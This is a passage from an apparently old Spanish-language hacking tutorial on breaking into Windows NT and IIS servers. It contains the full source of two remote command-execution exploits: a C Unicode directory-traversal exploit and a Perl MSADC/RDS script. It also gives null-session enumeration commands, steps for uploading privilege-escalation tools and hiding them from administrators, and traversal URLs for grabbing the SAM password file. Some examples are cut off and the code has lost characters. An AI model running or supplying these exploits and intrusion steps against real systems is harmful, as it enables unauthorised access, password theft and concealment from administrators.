hago esta tarea manualmente, prefiero ahorrar toxinas y utilizar o bien un
script que me automatice la tarea (como el userlist.pl de Mnemonix) o bien
un escaner. Sin embargo resulta imprescindible saber hacerlo via linea de
comandos. Mis comentarios van precedidos de &&.
 
C:> net view xx.34.xx.y51
System error 5 has occurred.
Access is denied.
&&& Normal. Asi tan de golpe, pues como que le da corte. Hay que romper el
&&& hielo...
C:>net use xx.34.xx.y51ipc$ "" /user:""
The command completed successfully.
C:>net view xx.34.xx.y51
Shared resources at xx.34.xx.y51
 
Nombre Sufijo Tipo Servicio
-------------------------------------------------------------------
Inetpub Disk
Enterprise Disk
Admin's home Disk Confidential
NETLOGON Disk Logon server share
Backup Disk Backups!
The command completed successfully.
&&& Ahora comenzamos a conocernos. A partir de ahi yo podria hacer un ataque
&&& de fuerza bruta con el NAT para averiguar la contrase~a de los recursos
&&& compartidos.
 
Aqui solo he usado IPC$ para listar sus recursos compartidos... con las
herramientas adecuadas se podria sacar mas informacion siguiendo los mismos
procedimientos.
 
 
[ 5.5 - Conclusion sobre NetBIOS ]
--------------------------------
Como ya dije anteriormente, NetBIOS solo tiene un par de bugs, que si
estan parcheados, haran dificil la entrada. De lo que nos podremos
aprovechar sera de la mala concesion de los permisos, un fallo muy tipico.
 
 
-=-
 
 
[ 6 - Vulnerabilidades WEB ]
--------------------------
Muchos de los productos que Microsoft ha dise~ado para convertir NT en un
servidor Web han tenido y tienen muchos fallos de seguridad, que le han
otorgado una nefasta fama en lo que a su seguridad concierne. No vamos a ver
todos los bugs de estos productos, ya que son muchisimos. Quiza para una
proxima version... de momento aqui teneis las vulnerabilidades mas graves
segun mi opinion de estas aplicaciones.
 
 
[ 6.1 - Vulnerabilidades en IIS ]
-------------------------------
La gran mayoria de servidores de NT corren por IIS. IIS son las siglas de
Internet Information Server, y es un pack de aplicaciones que te permiten
realizar las funciones de servidor Web, FTP, etc.
Todavia no se puede comparar con Apache... pero tampoco es demasiado malo
como servidor Web, despues de todo. Sin embargo en el tema de la seguridad
le han dado algun mazazo que otro como a continuacion se vera.
Hasta el dia de hoy han aparecido muchisimos bugs para IIS, muchos de
ellos de gran envergadura que comprometian por entera la seguridad en el
servidor afectado.
Aqui solo voy a mostrar unos pocos, los mas "utiles" e interesantes. Si
alguien tiene ganas de ver todos los bugs de IIS que se pase por las URL's
que se dan en el apendice.
 
 
[ 6.1.1 - Escapando del arbol de web: Unicode's bug ]
---------------------------------------------------
Este es un bug descubierto hace relativamente poco, y muy peligroso, ya
que este permite al atacante ejecutar programas en el servidor afectado.
Este bug afecta a las versiones 4.0 y 5.0 del IIS.
El fallo se basa en la tipica fuga del arbol de web, subiendo directorios
a~adiendo rutas con "../" para escapar del arbol de la web y entrar en
directorios de sistema, etc.
IIS no deja escalar directorios de esa manera, pero si los sustituimos
como caracteres unicode la cosa cambia totalmente... pudiendo ejecutar
cualquier programa del que sepamos la ruta, como el cmd.exe (shell de
comandos), a~adiendo usuarios y otorgandoles permisos de administrador, y
muchas mas cosas que dejo a cargo de la imaginacion del lector.
A continuacion incluyo el codigo del exploit que incubus hizo para poder
explotar dicha vulnerabilidad.
-- Comienza el codigo --
<++>xploits/iisexc.c
/* iisex iis exploit (<- nost's idea) v2
* --------------------------------------
* Okay.. the first piece of code was not really finished.
* So, i apologize to everybody..
*
* by incubus <incubus@securax.org>
*
* grtz to: Bio, nos, zoa, reg and vor... (who else would stay up
* at night to exploit this?) to securax (#securax@efnet) - also
* to kim, glyc, s0ph, tessa, lamagra and steven.
* thx to spydir
*/
 
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int main(int argc, char **argv){
char buffy[666]; /* well, what else? I dunno how long your commands
are... */
char buf[500];
char rcvbuf[8192];
int i, sock, result;
struct sockaddr_in name;
struct hostent *hostinfo;
if (argc < 2){
printf ("try %s www.server.comn", argv[0]);
printf ("will let you play with cmd.exe of an IIS4/5 server.n");
printf ("by incubus <incubus@securax.org>nn");
exit(0);
}
printf ("niisex - iis 4 and 5 exploitn---------------------------n");
printf ("act like a cmd.exe kiddie, type quit to quit.n");
for (;;)
{
printf ("n[enter cmd> ");
gets(buf);
if (strstr(buf, "quit")) exit(0);
i=0;
while (buf[i] != ''){
if(buf[i] == 32) buf[i] = 43;
i++;
}
hostinfo=gethostbyname(argv[1]);
if (!hostinfo){
herror("Oops"); exit(-1);
}
name.sin_family=AF_INET; name.sin_port=htons(80);
name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
sock=socket(AF_INET, SOCK_STREAM, 0);
result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
if (result != 0) { herror("Oops"); exit(-1); }
if (sock < 0){
herror("Oops"); exit(-1); }
strcpy(buffy,"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+");
strcat(buffy,buf);
strcat(buffy, " HTTP/1.0nn");
send(sock, buffy, sizeof(buffy), 0);
recv(sock, rcvbuf, sizeof(rcvbuf), 0);
printf ("%s", rcvbuf);
close(sock);
}
}
<-->
-- Finaliza el codigo --
 
 
[ 6.1.2 - IISHACK ]
-----------------
Este fue uno de los bugs mas sonados para IIS, descubierto por la gente
de eEye, en junio de 1999.
Dicho bug se aprovecha de que IIS no se molesta en comprobar los limites
de ls nombres de las url para los archivos de extension .htr , .idc y .stm.
Asi pues cuando se le hace una peticion a IIS para un archivo cuya
extension sea las ya arriba mencionadas de mas de 3K, se produce el tipico
error de violacion de acceso...
Asi que eEye se puso a trabajar en un exploit para dicho bug, y hasta
una aplicacion que ayuda a usar el exploit... ademas de una version de nc
retocada, etc.
Cabe decir que durante las primeras versiones iishack (el programa que
permitia usar el exploit facilmente) no funcionaba correctamente (anti
script kiddies), por lo que los evil hax0rs quedaban frustrados... sin
embargo al cabo de unas semanas pusieron la version correcta, por lo que la
version de IISHACK que os bajeis funcionara correctamente.
Podreis encontrar el exploit en la web de eeye, www.eeye.com .
 
 
[ 6.1.3 - Hackeandolo via user anonymous ]
----------------------------------------
Este ataque es bien sencillo, para poderlo efectuarlo con exito tan solo
necesitaremos que la victima permita el usuario anonymous por ftp, y que
este permita el subir ficheros a un directorio virtual, como por ejemplo
wwwroot, para mas tarde ejecutarlas en el servidor via http.
Lo unico que deberemos subir a la carpeta virtual sera alguna aplicacion
que de nos de acceso administrador, por ejemplo Getadmin o Sechole. Ahora
probaremos la efectividad de GetAdmin.
Una vez subidos los ficheros getadmin.exe y gasys. dll haremos correr
getadmin en el servidor getadmin. Para ello vamos a suponer que hemos subido
los ficheros en la carpeta virtual wwwroot.
Ahora os preguntareis que como sabemos el nombre del host. Pues para eso
o bien nos valemos de la ayuda del ftp de la misma victima, o le escaneamos
con algun escaneador de vulnerabilidades, donde se nos indicara.
Una vez ejecutado getadmin ya disponemos de nuestra propia cuenta, y os
preguntareis que que hacer. Pues ahora podrias subir el cmd.exe para moveros
por el sistema, o el netcat, para luego ejecutar samdump... lo demas es puro
tramite.
Recordad que si optais por subir cmd.exe y probar moveros por el sistema
mediante el navegador, los espacios equivalen a %20, %2B equivale a un "+",
etc. Es importante esconder los ficheros utilizados para acceder al sistema,
a poder ser en un directorio de sistema con un nombre que no llame la
atencion, y esconderlos mediante el comando attrib. Esto no los hace
invisible al admin, sobre todo si ha configurado el explorador de windows
para ver tambien los ficheros ocultos. Tambien se recomienda cuando ya no
necesitarais alguna herramienta... borrarla, o camuflarla.
 
 
 
[ 6.1.4 - Hackeandolo via IISADMIN ]
----------------------------------
IIS trae consigo una utilidad que permite el administrar remotamente el
servicio IIS via web. Esta utilidad es por defecto accesible al usuario
anonimo, siendo necesario una cuenta con privilegios administrativos para
modificar los servicios del mismo.
Sin embargo, que nos impide probar ataques por fuerza bruta? es mas, hay
aplicaciones que nos permiten automatizar esta tarea, siendo una especia de
NAT para IIS.
Ademas, tendremos acceso a la documentacion, por lo que si alguien no
esta muy puesto en el funcionamiento de IIS, hay tiene un porron de
informacion.
Se me olvidaba, el directorio es el /iisadmin .
Recomiendo a los admins borrar este directorio sino lo utilizan, ya que
si se ha cambiado la contrase~a que venia por defecto (una contrase~a
bastante robusta) y el atacante es persistente seguro la acabara adivinando.
 
 
[ 6.1.5 - Ejecucion de comandos locales MSADC ]
---------------------------------------------
Este bug permite ejecutar comandos de NT remotamente en el servidor fruto
de nuestras inquietudes. Excelente.
El problema radica en que los comandos del lenguaje SQL permiten, si se
le incluye la barra vertical '|', incluir comandos de shell de NT.
Veamos... entonces para explotar esta vulnerabilidad necesitariamos poder
acceder a una base de datos remotamente, claro... he aqui el RDS... que mira
por donde permite la entrada de comandos VBA. Pero no solo RDS es el
responsable del bug, hay mas culpables... como el MS Jet Database Engine,
que permite tambien comandos VBA...
Ademas las peticiones a las bases de datos remotamente se hacen a traves
de ODBC, y IIS corre los comandos ODBC como system_local... oh my god!
Entonces llegamos a la conclusion de que podemos mandarle comandos de
shell de NT a una base de datos, y ella los ejecutara, con privilegios de
sistema. Pero... y si no hubiera bases de datos en el sistema?... ante todo
tranquilidad, que Microsoft nos lo hace todo mas facil instalando por
defecto una base de datos peque~ita, para que el admin vaya practicando.
Todo un acierto, si se~or.
Para explotar la vulnerabilidad usaremos el exploit de rfp, el cual esta
muy bien dise~ado y tiene bastantes opciones interesantes, como la busqueda
de bases de datos por fuerza bruta, el poder crear bases de datos explotando
otro bug por sino encuentra ninguna, etc.
A continuacion incluyo el codigo en perl.
 
-- Comienza el codigo --
<++>xploits/rds.pl
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", %args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}
print "Please type the NT commandline you want to run (cmd /c assumed):n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;
if (defined $args{R}) {&load; exit;}
print "nStep 1: Trying raw driver to btcustmr.mdbn";
&try_btcustmr;
print "nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>n" : print "<<fail>>n";
print "nStep 3: Trying known DSNs...";
&known_dsn;
print "nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args{e}){
print "nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "nNo -e; Step 5 skipped.nn"; }
print "Sorry Charley...maybe next time?n";
exit;
##########################################################
sub sendraw { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...n"); }}
##########################################################
sub make_header { # make the HTTP request
my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later
if (defined $args{V}){
$msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
; } else {
$msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
;}
$msadc=~s/n/rn/g;
return $msadc;}
##########################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":" . $p2 . "helpiishtmtutorialbtcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "x02x00x03x00"; }
$req.= "x08x00" . pack ("S1", length($t1));
$req.= "x00x00" . $t1 ;
$req.= "x08x00" . pack ("S1", length($t2));
$req.= "x00x00" . $t2 ;
$req.="rn--!ADM!ROX!YOUR!WORLD!--rn";
return $req;}
##########################################################
 
sub make_shell { # this makes the shell() statement
return "'|shell("$command")|'";}
##########################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "x00"; }
return $out;}
##########################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart/mixed/){
return 1 if( $in[$base+10]=~/^x09x00/ );}
return 0;}
##########################################################
sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" .
"Access%2BDriver%2B%28*.mdb%29&dsn=wicca&dbq="
. $drive . "%3A%5Csys.mdb&newdb=CREATE_DB&attr= HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful</H2>/;}}
} return 0;}
##########################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0nn");
return $results[0];}
##########################################################
sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");
foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "n";}}
##########################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 []:/'()]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 []:/'()]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 []:/'()]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "nNON-STANDARD error. Please sent this info to rfp@wiretrip.net:n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##########################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "n$inn";}
##########################################################
sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...n";
print OUT "$ipn$p1n$p2n$p3n$p4n";
close OUT;}
##########################################################
sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.saven");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/n//g; $p[4]="$p[4]"; $p[4]=~s/n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!n";}
else { print "failedn"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!n";} else { print "failedn"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!n"; } else { print "failedn"; }}
exit;}
##########################################################
sub create_table {
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##########################################################
sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successfuln" if (!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!n"; save (3,3,"DSN=$dSn",""); exit; }}} print "n";}
##########################################################
sub is_access {
my ($in)=@_;
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##########################################################
sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##########################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
# this is sparse, because I don't know of many
my @sysmdbs=( "catrooticatalog.mdb",
"system32certlogcertsrv.mdb" ); #these are %systemroot%
); #these are just
foreach $drive (@drives) {
foreach $dir (@dirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv . $drive . ":" . $dir . $mdb)){
print "n" . $drive . ":" . $dir . $mdb . " successfuln" if
(!defined $args{V});
if(run_query($drv . $drive . ":" . $dir . $mdb)){
print "Success!n"; save (4,4,$drive . ":" . $dir . $mdb,""); exit;
}}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "n" . $drive . $dir . $mdb . " successfuln" if
(!defined {V});
if(run_query($drv . $drive . ":" . $dir . $mdb)){
print "Success!n"; save (4,4,$drive . $dir . $mdb,""); exit;
}}}}
}
##########################################################
sub hork_idx {
print "nAttempting to dump Index Server tables...n";
print " NOTE: Sometimes this takes a while, other times it stallsnn";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ ._n]//g;
$results[$c]=~/([a-zA-Z]:)([a-zA-Z0-9 _~]+)/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$cn"; }
} else {print "Index server not installed/query failedn"; }}
##########################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionaryn");
while(<IN>){
$hold=$_; $hold=~s/[rn]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successfuln" if(!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!n"; save (3,3,"DSN=$dSn",""); exit; }}}
print "n"; close(IN);}
##########################################################
sub sendraw2 { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...n"); }}
##########################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
if($in[$c] =~/^x0dx0a/){
if ($in[$c+1]=~/^HTTP/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually
##########################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "nServer returned an ADO miscofiguration messagenAborting.n";
exit;}
if($error=~/A Handler is required/){
print "nServer has custom handler filters (they most likely are patched)n";
exit;}
if($error=~/specified Handler has denied Access/){
print "nADO handlers denied access (they most likely are patched)n";
exit;}}
##########################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0nn");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application/x-varg/);
my @s=grep(/^Server:/,@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.n" }
else { print "/msadc/msadcs.dll was not found.n";}
exit;}
##########################################################
sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
--!ADM!ROX!YOUR!WORLD!--
EOT
; $msadc=~s/n/rn/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!@#$%^&*()[]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]n";}
##########################################################
# Note: This is not a good example of precision code. It is very
# redundant and has a few kludges. I have been adding features in one at
# at a time, so it has resulted in redundant functions and patched code.
# I will be rewriting it in the future, sometime. Look for the newer code
# This may also be included in the NT-PTK/P. If you don't know what that
# is, just wait and see.
##########################################################
<-->
-- Finaliza el codigo --
 
 
[ 6.1.6 - El bug de los .idc y .ida ]
-----------------------------------
Este bug permite saber en que directorio esta montado el servidor web.
Esto es sumamente importante, sobretodo si estamos intentando sacar el
fichero SAM mediante otra vulnerabilidad, ya que si la unidad donde esta
montados los directorio web es una unidad aislada solo para esto, por
ejemplo, no se encontraran los SAM. Ademas, el que te devuelva la ruta
permite hacerte una peque~a idea sobre como tienen montados sus directorios.
Un ejemplo:
Respuesta: "Cannot open c:inetpubwwwrootfichero_falso.html.idc"
Esto nos indica que tienen los directorios de la web en la unidad de
sistema, lo que para conocer la ruta exacta de ficheros clave como los SAM,
en caso de que por cualquier determinado bug podamos acceder a ellos.
 
 
[ 6.1.7 - Viendo el codigo de los .asp y de demas ficheros ]
----------------------------------------------------------
A continuacion muestro una seria de bugs del IIS que permiten ver el
codigo de casi cualquier archivo del servidor, entre ellos los .asp.
Quiza os pregunteis que tiene de especial un . asp que no tenga otro
fichero cualquiera. La respuesta es que suele proporcionar informacion muy
jugosa, como es el caso de nombres de usuario y contrase~as... hay radica su
importancia.
 
 
[ 6.1.7.1 - El bug del punto en .asp ]
------------------------------------
Este bug no necesita demasiada explicacion... tan solo hay que a~adir un
punto en la url de la peticion del .asp para poder bajarse el codigo.
Ejemplo al canto:
 
 
[ 6.1.7.2 - El bug del +.htr ]
----------------------------
Otro bug extremadamente dificil de explotar, consiste en a~adir detras
del archivo la extension +.htr. Ejemplo:
Este bug funciona en archivos .ASP y .ADA.
 
 
[ 6.1.7.3 - El bug de Null.htw ]
------------------------------
IIS corriendo junto Index Server posee una vulnerabilidad que permite
ver el codigo de cualquier archivo. El bug se aprovecha del fichero Null.htw
corriendo con Index Server para dicho fin.
De manera que si queremos ver el codigo fuente de algun fichero tan solo
tenemos que seguir una url de este tipo:
CiRestriction=none%20&%20&CiHiliteType=full
Como habeis visto, a null.htw le pasamos como argumento "CiWebhitsfile",
que es una de las 3 variables que null.htw permite que sean definidas por el
usuario... y que no solo nos permitiran ver el codigo de los archivos del
arbol de web, sino que ademas nos permite espacar del arbol de la web y asi
poder movernos por toda la unidad... con lo que podriamos coger el SAM,
copiarlo, expandirlo, y crackearlo.
Por cierto, donde pone null.htw, podia haber cualquier nombre de archivo.
Lo que el nombre de Null quiere decir es que es un archivo nulo, que no
existe en el sistema. No hace falta que haya ficheros .htw en el sistema
para que el bug funcione.
 
[ 6.1.7.4 - El bug de ISM.DLL ]
-----------------------------
Este bug nos permitira ver el codigo de cualquier archivo dentro del
arbol de la web. El bug consiste en enga~ar al servidor IIS haciendole creer
que solicitamos un archivo .htr cuando en realidad no es asi.
Para explotar este bug tenemos que formularle al servidor una peticion de
este tipo:
http://www.lavictima.com/pagina.asp(aqui irian 230 "%20")pagina.asp.htr
Cabe destacar que solo se puede explotar este bug una vez por maquina, a
menos que se reinicie el servicio web, de manera que ISM.DLL se volveria a
cargar en memoria.
 
 
[ 6.1.7.5 - El bug de Showcode y Codebrws ]
-----------------------------------------
Estos dos archivos de tipo .asp son visores de archivos, los cuales no se
instalan por defecto en IIS; sin embargo si el Administrador los instalara,
para practicar con ellos o lo que sea, el instruso los puede aprovechar para
ver el codigo de cualquier fichero.
Esto es asi debido a que estos ficheros no ponen ninguna restriccion para
determinar que archivos puede o no puede acceder, de manera que si el
intruso sabe la ruta exacta de un fichero en el servidor, podria acceder a
el pasandoselo como argumento a uno de estos dos ficheros.
Veamos un ejemplo. Supongamos que sabemos que en la particion en la que
tiene instalado IIS tiene en el directorio raiz un fichero llamado pass.txt,
y queremos verlo. Le hariamos la siguiente peticion al servidor:
/msadc/../../../../pass.txt
Y ya estaria.
Quiza os esteis preguntando porque no coger el archivo SAM. No lo cogemos
porque Showcode y Codebrws no son capaces de procesar los caracteres de
control de dicho archivo, con lo que tendriamos un archivo SAM diferente del
original, a la vez que inservible.
 
 
[ 6.1.7.6 - El bug de webhits.dll y los ficheros .htw ]
-----------------------------------------------------
Ya repasamos un bug de Null.htw, el cual gracias a la variable
"CiWebhitsfile" nos permitia ver el codigo de cualquier archivo, pudiendo
ademas escapar del arbol de la web. Pues en este caso es mas de lo mismo, ya
que el bug es el mismo que el ya visto anteriormente, solo que esta vez va
asociado a webhits.dll
Esta libreria es la que negocia con las peticiones, y esta tiene el fallo
de que permite que la variable CiWebhitsfile permita acceder a cualquier
fichero, pudiendo tener el codigo de cualquier archivo.
Para este caso se necesita tener un .htw real en el servidor... sin eso
no podemos explotar el bug. A continuacion se muestran las rutas de algunos
ficheros .htw por defecto, las cuales vienen como ejemplo en IIS para que
el admin practique y tal...
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw
Y bueno, con esto, sabiendo que se explota igual que el bug del null.htw
y con las mismas caracteristicas, nos podremos hacer una idea de la url que
se habra de meter en el navegador para aprovecharnos... no?. Bueno, que
sirva la siguiente como ejemplo:
 
/../../winnt/repair/sam._&cirestriction=none&cihilitetype=full
Con lo que solo tendriamos que seguir los tipicos paso que paso de
volver a repetirlos.
 
 
[ 6.1.7.7 - El bug del ::$DATA ]
------------------------------
Esta archiconocida vulnerabilidad, que afecta a todas las versiones del
IIS hasta la 4.0, se aprovecha de como IIS analiza los nombres de archivo
que se le piden, de manera que desde el navegador se puede acceder al codigo
fuente de un archivo .asp o .vbd.
El bug consiste en insertar al final de la url la extension ::$DATA. De
esa manera te podras bajar el codigo fuente y editarlo en busca de
informacion interesante.
Un ejemplo seria el siguiente:
 
 
[ 6.1.7.8 - Adsamples ]
---------------------
Dicho bug permite acceder a cualquiera acceder al fichero site.csc sin
ningun impedimento, por lo que si el atacante lo baja, podra ver informacion
muy interesante que no debiera poder verla cualquiera... como las DSN, o
nombres de usuario y contrase~as de la base de datos.
Dicho fichero se encuentra por defecto en el directorio virtual
adsamples/config/site.csc. Un ejemplo:
 
 
[ 6.1.7.9 - El bug de WebDAV ]
----------------------------
Este bug permite bajar el codigo de cualquier archivo del servidor en el
